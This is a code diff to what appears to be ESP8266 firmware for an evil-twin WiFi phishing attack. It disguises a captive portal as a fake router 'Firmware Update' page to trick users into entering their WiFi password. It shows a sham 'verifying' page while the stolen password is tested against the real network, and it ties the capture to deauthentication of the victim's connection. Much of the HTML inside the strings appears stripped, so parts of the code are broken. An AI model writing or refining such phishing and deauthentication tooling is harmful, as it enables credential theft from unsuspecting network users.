diff --git a/ESP8266_PhiSiFi.ino b/ESP8266_PhiSiFi.ino index dedb406..f40f806 100644 --- a/ESP8266_PhiSiFi.ino +++ b/ESP8266_PhiSiFi.ino @@ -43,32 +43,55 @@ String _tryPassword = ""; String header(String t) { String a = String(_selectedNetwork.ssid); - String CSS = "article { background: #f2f2f2; padding: 1.3em; }" - "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" - "div { padding: 0.5em; }" - "h1 { margin: 0.5em 0 0 0; padding: 0.5em; font-size:7vw;}" - "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" - "label { color: #333; display: block; font-style: italic; font-weight: bold; }" - "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" - "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " - "textarea { width: 100%; }" - ; - String h = "" - "<center>" + a + " :: " + t + "</center>" - "" - "" - "" - "

" + t + "

"; + String CSS = "body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; line-height: 1.6; margin: 0; padding: 0; background: #f5f5f5; color: #333; }" + "nav { background: linear-gradient(135deg, #0057b8, #004094); color: #fff; padding: 1em; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }" + "nav b { display: block; font-size: 1.2em; font-weight: 600; margin-bottom: 0.5em; }" + ".container { max-width: 500px; margin: 0 auto; padding: 20px; }" + ".update-card { background: white; border-radius: 10px; padding: 2em; box-shadow: 0 2px 8px rgba(0,0,0,0.1); margin-top: 20px; }" + ".warning-icon { font-size: 48px; color: #ff9800; text-align: center; margin-bottom: 20px; }" + ".title { color: #d32f2f; font-size: 1.5em; margin: 0.5em 0; text-align: center; font-weight: 600; }" + ".input-group { margin: 1.5em 0; }" + "label { display: block; margin-bottom: 8px; color: #666; font-weight: 500; }" + "input[type='password'] { width: 100%; padding: 12px; border: 2px solid #ddd; border-radius: 6px; font-size: 16px; transition: border-color 0.3s; box-sizing: border-box; }" + "input[type='password']:focus { border-color: #0057b8; outline: none; }" + "input[type='submit'] { width: 100%; background: #0057b8; color: white; border: none; padding: 12px; border-radius: 6px; font-size: 16px; cursor: pointer; transition: background 0.3s; }" + "input[type='submit']:hover { background: #004094; }" + ".progress { margin-top: 20px; width: 100%; }" + ".status-text { text-align: center; color: #666; margin-top: 10px; font-size: 0.9em; }"; + + String h = "" + "" + a + " - Firmware Update" + "" + "" + "" + "" + "" + "
"; return h; } String footer() { - return "
© All rights reserved.
"; + return "
" + "© 2024 All rights reserved." + "
"; } String index() { - return header(TITLE) + "
" + BODY + "
" + - "
" + footer(); + return header(TITLE) + + "
" + "
⚠️
" + "
" + TITLE + "
" + "

" + BODY + "

" + "
" + "
" + "" + "" + "
" + "" + "
" + "

This process may take a few moments.

" + "
" + "
" + footer(); } void setup() { @@ -117,6 +140,7 @@ void handleResult() { } else { _correct = "Successfully got password for: " + _selectedNetwork.ssid + " Password: " + _tryPassword; hotspot_active = false; + deauthing_active = false; dnsServer.stop(); int n = WiFi.softAPdisconnect (true); Serial.println(String(n)); @@ -228,24 +252,59 @@ void handleIndex() { webServer.send(200, "text/html", _html); } else { - if (webServer.hasArg("password")) { _tryPassword = webServer.arg("password"); + + // Show loading page immediately + String verificationPage = "" + "" + "" + "" + "" + "Verifying" + "" + "" + "" + "" + "
" + "
Verifying System Integrity
" + "
" + "
" + "
" + "
" + "
Please wait while we verify your credentials...
" + "
" + "" + ""; + + webServer.send(200, "text/html", verificationPage); + + // Handle deauth and WiFi connection after sending the page if (webServer.arg("deauth") == "start") { deauthing_active = false; } - delay(1000); WiFi.disconnect(); WiFi.begin(_selectedNetwork.ssid.c_str(), webServer.arg("password").c_str(), _selectedNetwork.ch, _selectedNetwork.bssid); - webServer.send(200, "text/html", "

Verifying integrity, please wait...
10%

"); + if (webServer.arg("deauth") == "start") { - deauthing_active = true; + deauthing_active = true; } } else { webServer.send(200, "text/html", index()); } } - } void handleAdmin() {